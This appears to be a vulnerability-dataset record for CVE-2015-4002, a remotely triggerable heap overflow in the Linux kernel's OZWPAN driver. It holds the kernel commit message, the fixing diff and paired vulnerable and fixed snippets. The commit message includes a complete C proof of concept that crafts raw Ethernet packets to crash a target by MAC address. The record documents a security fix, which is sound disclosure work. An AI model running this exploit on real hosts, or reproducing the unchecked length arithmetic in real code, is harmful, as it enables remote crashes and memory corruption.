CVE-2015-4002: Improper Restriction of Operations within the Bounds of a Memory Buffer (CWE-119)
value: drivers/staging/ozwpan/ozusbsvc1.c in the OZWPAN driver in the Linux kernel through 4.0.5 does not ensure that certain length values are sufficiently large, which allows remote attackers to cause a denial of service (system crash or large loop) or possibly execute arbitrary code via a crafted packet, related to the (1) oz_usb_rx and (2) oz_usb_handle_ep_data functions.
CWE description: The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.
Published: 2015-06-07T23:59Z
Repository: https://github.com/torvalds/linux
Language: C
Files changed: drivers/staging/ozwpan/ozusbsvc1.c
Commit date: 2015-05-30 12:33:53 -0700
Commit message: ozwpan: Use proper check to prevent heap overflow

Since elt->length is a u8, we can make this variable a u8. Then we can
do proper bounds checking more easily. Without this, a potentially
negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
resulting in a remotely exploitable heap overflow with network
supplied data.

This could result in remote code execution. A PoC which obtains DoS
follows below. It requires the ozprotocol.h file from this module.

=-=-=-=-=-=

 #include <arpa/inet.h>
 #include <linux/if_packet.h>
 #include <net/if.h>
 #include <netinet/ether.h>
 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>
 #include <endian.h>
 #include <sys/ioctl.h>
 #include <sys/socket.h>

 #define u8 uint8_t
 #define u16 uint16_t
 #define u32 uint32_t
 #define __packed __attribute__((__packed__))
 #include "ozprotocol.h"

static int hex2num(char c)
{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])
{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
	} __packed connect_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 35,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		}
	};

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_get_desc_rsp oz_get_desc_rsp;
	} __packed pwn_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(1)
		},
		.oz_elt = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_get_desc_rsp) - 2
		},
		.oz_get_desc_rsp = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_GET_DESC_RSP,
			.req_id = 0,
			.offset = htole16(0),
			.total_size = htole16(0),
			.rcode = 0,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	usleep(300000);
	if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}

Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Cc: stable <stable@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

Diff: diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
index d434d8c6fff67c..b573ad3e9674d9 100644
--- a/drivers/staging/ozwpan/ozusbsvc1.c
+++ b/drivers/staging/ozwpan/ozusbsvc1.c
@@ -388,14 +388,19 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)
 	usb_ctx->rx_seq_num = usb_hdr->elt_seq_num;
 	switch (usb_hdr->type) {
 	case OZ_GET_DESC_RSP: {
 			struct oz_get_desc_rsp *body =
 				(struct oz_get_desc_rsp *)usb_hdr;
-			int data_len = elt->length -
-					sizeof(struct oz_get_desc_rsp) + 1;
-			u16 offs = le16_to_cpu(get_unaligned(&body->offset));
-			u16 total_size =
+			u16 offs, total_size;
+			u8 data_len;
+
+			if (elt->length < sizeof(struct oz_get_desc_rsp) - 1)
+				break;
+			data_len = elt->length -
+					(sizeof(struct oz_get_desc_rsp) - 1);
+			offs = le16_to_cpu(get_unaligned(&body->offset));
+			total_size =
 				le16_to_cpu(get_unaligned(&body->total_size));
 			oz_dbg(ON, "USB_REQ_GET_DESCRIPTOR - cnf\n");
 			oz_hcd_get_desc_cnf(usb_ctx->hport, body->req_id,
 					body->rcode, body->data,
 					data_len, offs, total_size);

Vulnerable code: 			int data_len = elt->length -
					sizeof(struct oz_get_desc_rsp) + 1;
			u16 offs = le16_to_cpu(get_unaligned(&body->offset));
			u16 total_size =
Fixed code: 			u16 offs, total_size;
			u8 data_len;

			if (elt->length < sizeof(struct oz_get_desc_rsp) - 1)
				break;
			data_len = elt->length -
					(sizeof(struct oz_get_desc_rsp) - 1);
			offs = le16_to_cpu(get_unaligned(&body->offset));
			total_size =